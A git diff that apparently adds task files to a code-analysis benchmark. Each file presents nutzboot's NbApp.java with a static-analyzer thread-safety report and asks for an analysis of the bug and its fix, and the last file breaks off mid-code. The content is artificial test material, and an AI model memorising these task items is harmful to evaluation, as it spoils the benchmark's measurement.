+        		for (int i=0;i<tmp.length;i++) {
+        			if (tmp[i].startsWith("*")) {
+        				if (!_args.isEmpty()) {
+        					switch (_args.get(0)) {
+        					case "*tx":
+        					case "*async":
+        					case "*anno":
+        					case "*js":
+        						break;
+        					default:
+        						args.addAll(_args);
+        					}
+    						_args.clear();
+        				}
+        			}
+    				_args.add(tmp[i]);
+        		}
+        		if (_args.size() > 0) {
+        			switch (_args.get(0)) {
+					case "*tx":
+					case "*async":
+					case "*anno":
+					case "*js":
+						break;
+					default:
+						args.addAll(_args);
+					}
+        		}
+        	}
+            ctx.setComboIocLoader(new ComboIocLoader(args.toArray(new String[args.size()])));
+        }
+        // 用于加载Starter的IocLoader
+        starterIocLoader = new AnnotationIocLoader(NbApp.class.getPackage().getName() + ".starter");
+        ctx.getComboIocLoader().addLoader(starterIocLoader);
+        if (ctx.getIoc() == null) {
+            ctx.setIoc(new NutIoc(ctx.getComboIocLoader()));
+        }
+        // 把核心对象放进ioc容器
+        if (!ctx.ioc.has("appContext")){
+            Ioc2 ioc2 = (Ioc2)ctx.getIoc();
+            ioc2.getIocContext().save("app", "appContext", new ObjectProxy(ctx));
+            ioc2.getIocContext().save("app", "conf", new ObjectProxy(ctx.getConf()));
+            ioc2.getIocContext().save("app", "nbApp", new ObjectProxy(this));
+        }
+    }
+    
+    public void prepareStarterClassList() throws Exception {
+    	starterClasses = new ArrayList<>();
+    	HashSet<String> classNames = new HashSet<>();
+        Enumeration<URL> _en = ctx.getClassLoader().getResources("META-INF/nutz/org.nutz.boot.starter.NbStarter");
+        while (_en.hasMoreElements()) {
+            URL url = _en.nextElement();
+            log.debug("Found " + url);
+            try (InputStream ins = url.openStream()) {
+                InputStreamReader reader = new InputStreamReader(ins);
+                String tmp = Streams.readAndClose(reader);
+                if (!Strings.isBlank(tmp)) {
+                    for (String _tmp : Strings.splitIgnoreBlank(tmp, "[\n]")) {
+                    	String className = _tmp.trim();
+                    	if (!classNames.add(className))
+                    		continue;
+                        Class<?> klass = ctx.getClassLoader().loadClass(className);
+                        if (!klass.getPackage().getName().startsWith(NbApp.class.getPackage().getName()) && klass.getAnnotation(IocBean.class) != null) {
+                            starterIocLoader.addClass(klass);
+                        }
+                        starterClasses.add(klass);
+                    }
+                }
+            }
+        }
+    }
+    
+    public void prepareStarterInstance() {
+        for (Class<?> klass : starterClasses) {
+            Object obj;
+            if (klass.getAnnotation(IocBean.class) == null) {
+               obj = Mirror.me(klass).born();
+            }
+            else {
+                obj = ctx.getIoc().get(klass);
+            }
+            aware(obj);
+            if (obj instanceof IocLoaderProvider) {
+                IocLoader loader = ((IocLoaderProvider) obj).getIocLoader();
+                ctx.getComboIocLoader().addLoader(loader);
+            }
+            ctx.addStarter(obj);
+        }
+    }
+    
+    protected void aware(Object obj) {
+    	// 需要注入AppContext
+        if (obj instanceof AppContextAware) {
+            ((AppContextAware) obj).setAppContext(ctx);
+        }
+        // 需要注入ClassLoader
+        if (obj instanceof ClassLoaderAware) {
+            ((ClassLoaderAware) obj).setClassLoader(ctx.getClassLoader());
+        }
+        // 需要注入EnvHolder
+        if (obj instanceof EnvHolderAware) {
+            ((EnvHolderAware) obj).setEnvHolder(ctx.getEnvHolder());
+        }
+        // 需要注入ResourceLoader
+        if (obj instanceof ResourceLoaderAware) {
+            ((ResourceLoaderAware) obj).setResourceLoader(ctx.getResourceLoader());
+        }
+        // 需要注入Ioc
+        if (obj instanceof IocAware) {
+            ((IocAware) obj).setIoc(ctx.getIoc());
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `org.nutz.boot.NbApp.prepareIoc` indirectly writes to field `this.org.nutz.boot.NbApp.ctx.org.nutz.boot.AppContext.comboIocLoader` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void NbApp.prepareIoc()
+
+### Procedure Id:
+org.nutz.boot.NbApp.prepareIoc():void.674739fecc4139c35432600c7c9226d8
+
+### File:
+nutzboot-starter/src/main/java/org/nutz/boot/NbApp.java
+
+### Key:
+NbApp.java|prepareIoc|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+bc6681f20569d4b864442a1f7f5d1860
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9423/instruction.md b/inferredbugs-9423/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..49f5146f6927ad7b19744173aff6d09f62b2b2aa
--- /dev/null
+++ b/inferredbugs-9423/instruction.md
@@ -0,0 +1,481 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** nutzboot
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.nutz.boot;
+
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.net.URL;
+import java.util.ArrayList;
+import java.util.Enumeration;
+import java.util.HashSet;
+import java.util.List;
+
+import org.nutz.boot.aware.AppContextAware;
+import org.nutz.boot.aware.ClassLoaderAware;
+import org.nutz.boot.aware.EnvHolderAware;
+import org.nutz.boot.aware.IocAware;
+import org.nutz.boot.aware.ResourceLoaderAware;
+import org.nutz.boot.banner.SimpleBannerPrinter;
+import org.nutz.boot.config.ConfigureLoader;
+import org.nutz.boot.config.impl.PropertiesConfigureLoader;
+import org.nutz.boot.env.SystemPropertiesEnvHolder;
+import org.nutz.boot.ioc.IocLoaderProvider;
+import org.nutz.boot.resource.ResourceLoader;
+import org.nutz.boot.resource.impl.SimpleResourceLoader;
+import org.nutz.boot.tools.PropDocReader;
+import org.nutz.ioc.Ioc2;
+import org.nutz.ioc.IocLoader;
+import org.nutz.ioc.ObjectProxy;
+import org.nutz.ioc.impl.NutIoc;
+import org.nutz.ioc.loader.annotation.AnnotationIocLoader;
+import org.nutz.ioc.loader.annotation.IocBean;
+import org.nutz.ioc.loader.combo.ComboIocLoader;
+import org.nutz.lang.Lang;
+import org.nutz.lang.Mirror;
+import org.nutz.lang.Stopwatch;
+import org.nutz.lang.Streams;
+import org.nutz.lang.Strings;
+import org.nutz.lang.util.LifeCycle;
+import org.nutz.log.Log;
+import org.nutz.log.LogAdapter;
+import org.nutz.log.Logs;
+import org.nutz.mvc.annotation.IocBy;
+
+/**
+ * NutzBoot的主体
+ * @author wendal
+ *
+ */
+public class NbApp extends Thread {
+    
+	/**
+	 *  日志属性要等日志适配器准备好了才能加载,这里不可以使用Logs.get();
+	 */
+    protected static Log log;
+    
+    /**
+     * 命令行参数
+     */
+    protected String[] args;
+    
+    /**
+     * 主启动器类,必须设置
+     */
+    protected Class<?> mainClass;
+    
+    /**
+     * 是否允许命令行下的 -Dxxx.xxx.xxx=转为配置参数
+     */
+    protected boolean allowCommandLineProperties = true;
+    
+    /**
+     * 是否打印配置文档
+     */
+    protected boolean printProcDoc;
+    
+    /**
+     * 主上下文
+     */
+    protected AppContext ctx;
+    
+    /**
+     * Starter共享的IocLoader
+     */
+    protected AnnotationIocLoader starterIocLoader;
+    
+    /**
+     * Starter类列表
+     */
+    protected List<Class<?>> starterClasses;
+    
+    protected boolean prepared;
+    
+    protected Object lock = new Object();
+    
+    /**
+     * 创建一个NbApp,把调用本构造方法的类作为mainClass
+     */
+    public NbApp() {
+    	StackTraceElement[] ts = Thread.currentThread().getStackTrace();
+    	if (ts.length > 2) {
+    		setMainClass(Lang.loadClassQuite(ts[2].getClassName()));
+    	}
+    }
+    
+    /**
+     * 基于mainClass创建一个NbApp
+     * @param mainClass 主启动类
+     */
+    public NbApp(Class<?> mainClass) {
+        this.mainClass = mainClass;
+    }
+    
+    /**
+     * 设置命令行参数,可选
+     */
+    public NbApp setArgs(String[] args) {
+        this.args = args;
+        return this;
+    }
+    
+    /**
+     * 设置主启动类
+     */
+    public NbApp setMainClass(Class<?> mainClass) {
+        this.mainClass = mainClass;
+        return this;
+    }
+    
+    /**
+     * 是否允许从命令行读取配置信息, 例如 java -Dnutz.ioc.async.poolSize=128 xxx.jar
+     * @param flag 默认允许
+     */
+    public NbApp setAllowCommandLineProperties(boolean flag) {
+        this.allowCommandLineProperties = flag;
+        return this;
+    }
+    
+    /**
+     * 是否打印配置文档
+     */
+    public NbApp setPrintProcDoc(boolean printProcDoc) {
+		this.printProcDoc = printProcDoc;
+		return this;
+	}
+    
+    /**
+     * 获取全局上下文
+     * @return
+     */
+    public AppContext getAppContext() {
+		return ctx;
+	}
+    
+    public void run() {
+        try {
+            _run();
+        } catch (Throwable e) {
+            Logs.get().error("something happen", e);
+        }
+    }
+    
+    /**
+     * 启动整个NbApp
+     */
+    public void _run() throws Exception {
+    	Stopwatch sw = Stopwatch.begin();
+
+        // 各种预备操作
+    	this.prepare();
+    	
+    	if (printProcDoc) {
+    		PropDocReader docReader = new PropDocReader(ctx);
+        	docReader.load();
+        	Logs.get().info("Configure Manual:\r\n" + docReader.toMarkdown());
+    	}
+        
+        // 依次启动
+    	try {
+            ctx.init();
+
+            ctx.startServers();
+
+            if (mainClass.getAnnotation(IocBean.class) != null)
+                ctx.getIoc().get(mainClass);
+
+            sw.stop();
+            log.infof("NB started : %sms", sw.du());
+            synchronized (lock) {
+                lock.wait();
+            }
+    	}
+    	catch (Throwable e) {
+            log.error("something happen!!", e);
+        }
+        // 收尾
+        ctx.stopServers();
+        ctx.depose();
+    }
+    
+    public void shutdown() {
+        log.info("ok, shutting down ...");
+        synchronized (lock) {
+            lock.notify();
+        }
+    }
+    
+    /**
+     * 执行预备操作
+     */
+    public void prepare() throws Exception {
+    	if (prepared)
+    		return;
+        // 初始化上下文
+    	this.prepareBasic();
+        
+        // 打印Banner,暂时不可配置具体的类
+        new SimpleBannerPrinter().printBanner(ctx);
+        
+        // 配置信息要准备好
+        this.prepareConfigureLoader();
+        
+        // 创建Ioc容器
+        prepareIoc();
+        
+        // 加载各种starter
+        prepareStarterClassList();
+        
+        // 生成Starter实例
+        prepareStarterInstance();
+        
+        prepared = true;
+    }
+    
+    public void prepareBasic() throws Exception {
+    	if (this.ctx == null) {
+            ctx = AppContext.getDefault();
+        }
+        if (ctx.getMainClass() == null && mainClass != null)
+            ctx.setMainClass(mainClass);
+        // 检查ClassLoader的情况
+        if (ctx.getClassLoader() == null)
+            ctx.setClassLoader(NbApp.class.getClassLoader());
+        
+        if (ctx.getEnvHolder() == null) {
+            ctx.setEnvHolder(new SystemPropertiesEnvHolder());
+        }
+        
+        // 看看日志应该用哪个
+        String logAdapter = ctx.getEnvHolder().get("nutz.boot.base.LogAdapter");
+        if (!Strings.isBlank(logAdapter)) {
+            Logs.setAdapter((LogAdapter) ctx.getClassLoader().loadClass(logAdapter).newInstance());
+        }
+        log = Logs.get();
+        // 资源加载器
+        if (ctx.getResourceLoader() == null) {
+            ResourceLoader resourceLoader = new SimpleResourceLoader();
+            aware(resourceLoader);
+            ctx.setResourceLoader(resourceLoader);
+        }
+    }
+
+    public void prepareConfigureLoader() throws Exception {
+        if (ctx.getConfigureLoader() == null) {
+            String cnfLoader = ctx.getEnvHolder().get("nutz.boot.base.ConfigureLoader");
+            ConfigureLoader configureLoader;
+            if (Strings.isBlank(cnfLoader)) {
+                configureLoader = new PropertiesConfigureLoader();
+            } else {
+                configureLoader = (ConfigureLoader) ctx.getClassLoader().loadClass(cnfLoader).newInstance(); 
+            }
+            configureLoader.setCommandLineProperties(allowCommandLineProperties, args);
+            aware(configureLoader);
+            ctx.setConfigureLoader(configureLoader);
+            if (configureLoader instanceof LifeCycle)
+                ((LifeCycle) configureLoader).init();
+        }
+    }
+    
+    public void prepareIoc() throws Exception {
+        if (ctx.getComboIocLoader() == null) {
+        	int asyncPoolSize = ctx.getConfigureLoader().get().getInt("nutz.ioc.async.poolSize", 64);
+        	List<String> args = new ArrayList<>();
+        	args.add("*js");
+        	args.add("ioc/");
+        	args.add("*tx");
+        	args.add("*async");
+        	args.add(""+asyncPoolSize);
+        	args.add("*anno");
+        	args.add(ctx.getPackage());
+        	IocBy iocBy = ctx.getMainClass().getAnnotation(IocBy.class);
+        	if (iocBy != null) {
+        		String[] tmp = iocBy.args();
+        		ArrayList<String> _args = new ArrayList<>();
+        		for (int i=0;i<tmp.length;i++) {
+        			if (tmp[i].startsWith("*")) {
+        				if (!_args.isEmpty()) {
+        					switch (_args.get(0)) {
+        					case "*tx":
+        					case "*async":
+        					case "*anno":
+        					case "*js":
+        						break;
+        					default:
+        						args.addAll(_args);
+        					}
+    						_args.clear();
+        				}
+        			}
+    				_args.add(tmp[i]);
+        		}
+        		if (_args.size() > 0) {
+        			switch (_args.get(0)) {
+					case "*tx":
+					case "*async":
+					case "*anno":
+					case "*js":
+						break;
+					default:
+						args.addAll(_args);
+					}
+        		}
+        	}
+            ctx.setComboIocLoader(new ComboIocLoader(args.toArray(new String[args.size()])));
+        }
+        // 用于加载Starter的IocLoader
+        starterIocLoader = new AnnotationIocLoader(NbApp.class.getPackage().getName() + ".starter");
+        ctx.getComboIocLoader().addLoader(starterIocLoader);
+        if (ctx.getIoc() == null) {
+            ctx.setIoc(new NutIoc(ctx.getComboIocLoader()));
+        }
+        // 把核心对象放进ioc容器
+        if (!ctx.ioc.has("appContext")){
+            Ioc2 ioc2 = (Ioc2)ctx.getIoc();
+            ioc2.getIocContext().save("app", "appContext", new ObjectProxy(ctx));
+            ioc2.getIocContext().save("app", "conf", new ObjectProxy(ctx.getConfigureLoader().get()));
+        }
+    }
+    
+    public void prepareStarterClassList() throws Exception {
+    	starterClasses = new ArrayList<>();
+    	HashSet<String> classNames = new HashSet<>();
+        Enumeration<URL> _en = ctx.getClassLoader().getResources("META-INF/nutz/org.nutz.boot.starter.NbStarter");
+        while (_en.hasMoreElements()) {
+            URL url = _en.nextElement();
+            log.debug("Found " + url);
+            try (InputStream ins = url.openStream()) {
+                InputStreamReader reader = new InputStreamReader(ins);
+                String tmp = Streams.readAndClose(reader);
+                if (!Strings.isBlank(tmp)) {
+                    for (String _tmp : Strings.splitIgnoreBlank(tmp, "[\n]")) {
+                    	String className = _tmp.trim();
+                    	if (!classNames.add(className))
+                    		continue;
+                        Class<?> klass = ctx.getClassLoader().loadClass(className);
+                        if (!klass.getPackage().getName().startsWith(NbApp.class.getPackage().getName()) && klass.getAnnotation(IocBean.class) != null) {
+                            starterIocLoader.addClass(klass);
+                        }
+                        starterClasses.add(klass);
+                    }
+                }
+            }
+        }
+    }
+    
+    public void prepareStarterInstance() {
+        for (Class<?> klass : starterClasses) {
+            Object obj;
+            if (klass.getAnnotation(IocBean.class) == null) {
+               obj = Mirror.me(klass).born();
+            }
+            else {
+                obj = ctx.getIoc().get(klass);
+            }
+            aware(obj);
+            if (obj instanceof IocLoaderProvider) {
+                IocLoader loader = ((IocLoaderProvider) obj).getIocLoader();
+                ctx.getComboIocLoader().addLoader(loader);
+            }
+            ctx.addStarter(obj);
+        }
+    }
+    
+    protected void aware(Object obj) {
+    	// 需要注入AppContext
+        if (obj instanceof AppContextAware) {
+            ((AppContextAware) obj).setAppContext(ctx);
+        }
+        // 需要注入ClassLoader
+        if (obj instanceof ClassLoaderAware) {
+            ((ClassLoaderAware) obj).setClassLoader(ctx.getClassLoader());
+        }
+        // 需要注入EnvHolder
+        if (obj instanceof EnvHolderAware) {
+            ((EnvHolderAware) obj).setEnvHolder(ctx.getEnvHolder());
+        }
+        // 需要注入ResourceLoader
+        if (obj instanceof ResourceLoaderAware) {
+            ((ResourceLoaderAware) obj).setResourceLoader(ctx.getResourceLoader());
+        }
+        // 需要注入Ioc
+        if (obj instanceof IocAware) {
+            ((IocAware) obj).setIoc(ctx.getIoc());
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `org.nutz.boot.NbApp.prepareBasic` indirectly writes to field `this.org.nutz.boot.NbApp.ctx.org.nutz.boot.AppContext.classLoader` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+Note that the prefix path this.org.nutz.boot.NbApp.ctx has been contaminated during the execution, so the reported race on this.org.nutz.boot.NbApp.ctx.org.nutz.boot.AppContext.classLoader might be a false positive.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void NbApp.prepareBasic()
+
+### Procedure Id:
+org.nutz.boot.NbApp.prepareBasic():void.dd6da23e2d20c27b6fe908f129d9169b
+
+### File:
+nutzboot-starter/src/main/java/org/nutz/boot/NbApp.java
+
+### Key:
+NbApp.java|prepareBasic|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+276ba1e8cf34b1e75c5a1aef27bfaa7f
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9424/instruction.md b/inferredbugs-9424/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..60ac347860d53c3f8aa903bd7df472d5fb2f24ac
--- /dev/null
+++ b/inferredbugs-9424/instruction.md
@@ -0,0 +1,580 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** nutzboot
+**Bug ID:** 28
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.nutz.boot;
+
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.net.URL;
+import java.util.ArrayList;
+import java.util.Enumeration;
+import java.util.HashSet;
+import java.util.LinkedList;
+import java.util.List;
+
+import org.nutz.boot.aware.AppContextAware;
+import org.nutz.boot.aware.ClassLoaderAware;
+import org.nutz.boot.aware.EnvHolderAware;
+import org.nutz.boot.aware.IocAware;
+import org.nutz.boot.aware.ResourceLoaderAware;
+import org.nutz.boot.banner.SimpleBannerPrinter;
+import org.nutz.boot.config.ConfigureLoader;
+import org.nutz.boot.config.impl.PropertiesConfigureLoader;
+import org.nutz.boot.env.SystemPropertiesEnvHolder;
+import org.nutz.boot.ioc.IocLoaderProvider;
+import org.nutz.boot.metrics.impl.MemoryCounterService;
+import org.nutz.boot.resource.ResourceLoader;
+import org.nutz.boot.resource.impl.SimpleResourceLoader;
+import org.nutz.boot.tools.NbAppEventListener;
+import org.nutz.boot.tools.NbAppEventListener.EventType;
+import org.nutz.boot.tools.PropDocReader;
+import org.nutz.ioc.IocLoader;
+import org.nutz.ioc.impl.NutIoc;
+import org.nutz.ioc.loader.annotation.AnnotationIocLoader;
+import org.nutz.ioc.loader.annotation.IocBean;
+import org.nutz.ioc.loader.combo.ComboIocLoader;
+import org.nutz.lang.Lang;
+import org.nutz.lang.Mirror;
+import org.nutz.lang.Stopwatch;
+import org.nutz.lang.Streams;
+import org.nutz.lang.Strings;
+import org.nutz.lang.util.LifeCycle;
+import org.nutz.log.Log;
+import org.nutz.log.LogAdapter;
+import org.nutz.log.Logs;
+import org.nutz.mvc.Mvcs;
+import org.nutz.mvc.annotation.IocBy;
+
+/**
+ * NutzBoot的主体
+ * 
+ * @author wendal
+ *
+ */
+public class NbApp extends Thread {
+
+    /**
+     * 日志属性要等日志适配器准备好了才能加载,这里不可以使用Logs.get();
+     */
+    protected static Log log;
+
+    /**
+     * 命令行参数
+     */
+    protected String[] args;
+
+    /**
+     * 是否允许命令行下的 -Dxxx.xxx.xxx=转为配置参数
+     */
+    protected boolean allowCommandLineProperties = true;
+
+    /**
+     * 是否打印配置文档
+     */
+    protected boolean printProcDoc;
+
+    /**
+     * 主上下文
+     */
+    protected AppContext ctx;
+
+    /**
+     * Starter共享的IocLoader
+     */
+    protected AnnotationIocLoader starterIocLoader;
+
+    /**
+     * Starter类列表
+     */
+    protected List<Class<?>> starterClasses;
+
+    protected boolean prepared;
+
+    protected Object lock = new Object();
+    
+    protected List<NbAppEventListener> listeners = new LinkedList<>();
+    
+    protected boolean started;
+
+    /**
+     * 创建一个NbApp,把调用本构造方法的类作为mainClass
+     */
+    public NbApp() {
+        ctx = AppContext.getDefault();
+        StackTraceElement[] ts = Thread.currentThread().getStackTrace();
+        if (ts.length > 2) {
+            setMainClass(Lang.loadClassQuite(ts[2].getClassName()));
+        }
+    }
+
+    /**
+     * 基于mainClass创建一个NbApp
+     * 
+     * @param mainClass
+     *            主启动类
+     */
+    public NbApp(Class<?> mainClass) {
+        ctx = AppContext.getDefault();
+        setMainClass(mainClass);
+    }
+
+    public NbApp(AppContext ctx) {
+        this.ctx = ctx;
+        StackTraceElement[] ts = Thread.currentThread().getStackTrace();
+        if (ts.length > 2) {
+            setMainClass(Lang.loadClassQuite(ts[2].getClassName()));
+        }
+    }
+
+    public NbApp(AppContext ctx, Class<?> mainClass) {
+        this.ctx = ctx;
+        setMainClass(mainClass);
+    }
+
+    /**
+     * 设置命令行参数,可选
+     */
+    public NbApp setArgs(String[] args) {
+        this.args = args;
+        return this;
+    }
+
+    /**
+     * 设置主启动类
+     */
+    public NbApp setMainClass(Class<?> mainClass) {
+        this.ctx.setMainClass(mainClass);
+        return this;
+    }
+
+    /**
+     * 是否允许从命令行读取配置信息, 例如 java -Dnutz.ioc.async.poolSize=128 xxx.jar
+     * 
+     * @param flag
+     *            默认允许
+     */
+    public NbApp setAllowCommandLineProperties(boolean flag) {
+        this.allowCommandLineProperties = flag;
+        return this;
+    }
+
+    /**
+     * 是否打印配置文档
+     */
+    public NbApp setPrintProcDoc(boolean printProcDoc) {
+        this.printProcDoc = printProcDoc;
+        return this;
+    }
+
+    /**
+     * 获取全局上下文
+     * 
+     * @return
+     */
+    public AppContext getAppContext() {
+        return ctx;
+    }
+
+    public void run() {
+        try {
+            if (execute()) {
+                synchronized (lock) {
+                    lock.wait();
+                }
+            }
+            // 收尾
+            _shutdown();
+        }
+        catch (Throwable e) {
+            Logs.get().error("something happen", e);
+        }
+    }
+    
+    public boolean execute() {
+        Stopwatch sw = Stopwatch.begin();
+        try {
+            // 各种预备操作
+        	listeners.forEach((listener)->listener.whenPrepare(this, EventType.before));
+            this.prepare();
+            listeners.forEach((listener)->listener.whenPrepare(this, EventType.after));
+
+            // 依次启动
+            listeners.forEach((listener)->listener.whenInitAppContext(this, EventType.before));
+            ctx.init();
+            listeners.forEach((listener)->listener.whenInitAppContext(this, EventType.after));
+
+            listeners.forEach((listener)->listener.whenStartServers(this, EventType.before));
+            ctx.startServers();
+            listeners.forEach((listener)->listener.whenStartServers(this, EventType.after));
+
+            if (ctx.getMainClass().getAnnotation(IocBean.class) != null)
+                ctx.getIoc().get(ctx.getMainClass());
+
+            listeners.forEach((listener)->listener.afterAppStated(this));
+
+            sw.stop();
+            log.infof("%s started : %sms", ctx.getConf().get("nutz.application.name", "NB"),  sw.du());
+            started = true;
+            return true;
+        }
+        catch (Throwable e) {
+            log.error("something happen!!", e);
+            return false;
+        }
+    }
+    
+    public void _shutdown() {
+        try {
+            ctx.stopServers();
+            ctx.depose();
+        }
+        catch (Exception e) {
+            throw Lang.wrapThrow(e);
+        }
+    }
+
+    public void shutdown() {
+        log.info("ok, shutting down ...");
+        if (lock == null) {
+            _shutdown();
+        }
+        else {
+            synchronized (lock) {
+                lock.notify();
+            }
+        }
+    }
+
+    /**
+     * 执行预备操作
+     */
+    public void prepare() throws Exception {
+        if (prepared)
+            return;
+        // 初始化上下文
+        listeners.forEach((listener)->listener.whenPrepareBasic(this, EventType.before));
+        this.prepareBasic();
+        listeners.forEach((listener)->listener.whenPrepareBasic(this, EventType.after));
+
+        // 打印Banner,暂时不可配置具体的类
+        new SimpleBannerPrinter().printBanner(ctx);
+
+        // 配置信息要准备好
+
+        listeners.forEach((listener)->listener.whenPrepareConfigureLoader(this, EventType.before));
+        this.prepareConfigureLoader();
+        listeners.forEach((listener)->listener.whenPrepareConfigureLoader(this, EventType.after));
+
+        // 创建IocLoader体系
+        listeners.forEach((listener)->listener.whenPrepareIocLoader(this, EventType.before));
+        prepareIocLoader();
+        listeners.forEach((listener)->listener.whenPrepareIocLoader(this, EventType.after));
+
+        // 加载各种starter
+        listeners.forEach((listener)->listener.whenPrepareStarterClassList(this, EventType.before));
+        prepareStarterClassList();
+        listeners.forEach((listener)->listener.whenPrepareStarterClassList(this, EventType.after));
+
+        // 打印配置文档
+        if (printProcDoc) {
+            PropDocReader docReader = new PropDocReader();
+            docReader.load(starterClasses);
+            Logs.get().info("Configure Manual:\r\n" + docReader.toMarkdown());
+        }
+
+        // 创建Ioc容器
+        listeners.forEach((listener)->listener.whenPrepareIoc(this, EventType.before));
+        prepareIoc();
+        listeners.forEach((listener)->listener.whenPrepareIoc(this, EventType.after));
+
+        // 生成Starter实例
+        listeners.forEach((listener)->listener.whenPrepareStarterInstance(this, EventType.before));
+        prepareStarterInstance();
+        listeners.forEach((listener)->listener.whenPrepareStarterInstance(this, EventType.after));
+
+        // 从Ioc容器检索Listener
+        listeners.addAll(ctx.getBeans(NbAppEventListener.class));
+        
+        prepared = true;
+    }
+
+    public void prepareBasic() throws Exception {
+        // 检查ClassLoader的情况
+        if (ctx.getClassLoader() == null)
+            ctx.setClassLoader(NbApp.class.getClassLoader());
+
+        if (ctx.getEnvHolder() == null) {
+            ctx.setEnvHolder(new SystemPropertiesEnvHolder());
+        }
+
+        // 看看日志应该用哪个
+        String logAdapter = ctx.getEnvHolder().get("nutz.boot.base.LogAdapter");
+        if (!Strings.isBlank(logAdapter)) {
+            Logs.setAdapter((LogAdapter) ctx.getClassLoader().loadClass(logAdapter).newInstance());
+        }
+        log = Logs.get();
+        // 资源加载器
+        if (ctx.getResourceLoader() == null) {
+            ResourceLoader resourceLoader = new SimpleResourceLoader();
+            aware(resourceLoader);
+            ctx.setResourceLoader(resourceLoader);
+        }
+    }
+
+    public void prepareConfigureLoader() throws Exception {
+        if (ctx.getConfigureLoader() == null) {
+            ConfigureLoader configureLoader = null;
+            InputStream ins = ctx.getResourceLoader().get("META-INF/nutz/org.nutz.boot.config.ConfigureLoader");
+            if (ins != null) {
+                String cnfLoader = new String(Streams.readBytes(ins)).trim();
+                if (!Strings.isBlank(cnfLoader)) {
+                    log.debugf("using %s as ConfigureLoader", cnfLoader);
+                    configureLoader = (ConfigureLoader) ctx.getClassLoader().loadClass(cnfLoader).newInstance();
+                }
+            }
+            if (configureLoader == null) {
+                configureLoader = new PropertiesConfigureLoader();
+            }
+            configureLoader.setCommandLineProperties(allowCommandLineProperties, args);
+            aware(configureLoader);
+            ctx.setConfigureLoader(configureLoader);
+            if (configureLoader instanceof LifeCycle)
+                ((LifeCycle) configureLoader).init();
+        }
+    }
+
+    public void prepareIocLoader() throws Exception {
+        if (ctx.getComboIocLoader() == null) {
+            int asyncPoolSize = ctx.getConfigureLoader().get().getInt("nutz.ioc.async.poolSize", 64);
+            List<String> args = new ArrayList<>();
+            args.add("*js");
+            args.add("ioc/");
+            args.add("*tx");
+            args.add("*async");
+            args.add("" + asyncPoolSize);
+            args.add("*anno");
+            args.add(ctx.getPackage());
+            IocBy iocBy = ctx.getMainClass().getAnnotation(IocBy.class);
+            if (iocBy != null) {
+                String[] tmp = iocBy.args();
+                ArrayList<String> _args = new ArrayList<>();
+                for (int i = 0; i < tmp.length; i++) {
+                    if (tmp[i].startsWith("*")) {
+                        if (!_args.isEmpty()) {
+                            switch (_args.get(0)) {
+                            case "*tx":
+                            case "*async":
+                            case "*anno":
+                            case "*js":
+                                break;
+                            default:
+                                args.addAll(_args);
+                            }
+                            _args.clear();
+                        }
+                    }
+                    _args.add(tmp[i]);
+                }
+                if (_args.size() > 0) {
+                    switch (_args.get(0)) {
+                    case "*tx":
+                    case "*async":
+                    case "*anno":
+                    case "*js":
+                        break;
+                    default:
+                        args.addAll(_args);
+                    }
+                }
+            }
+            ctx.setComboIocLoader(new ComboIocLoader(args.toArray(new String[args.size()])));
+        }
+        // 用于加载Starter的IocLoader
+        starterIocLoader = new AnnotationIocLoader(NbApp.class.getPackage().getName() + ".starter");
+        ctx.getComboIocLoader().addLoader(starterIocLoader);
+    }
+
+    public void prepareStarterClassList() throws Exception {
+        starterClasses = new ArrayList<>();
+        HashSet<String> classNames = new HashSet<>();
+        Enumeration<URL> _en = ctx.getClassLoader().getResources("META-INF/nutz/org.nutz.boot.starter.NbStarter");
+        while (_en.hasMoreElements()) {
+            URL url = _en.nextElement();
+            log.debug("Found " + url);
+            try (InputStream ins = url.openStream()) {
+                InputStreamReader reader = new InputStreamReader(ins);
+                String tmp = Streams.readAndClose(reader);
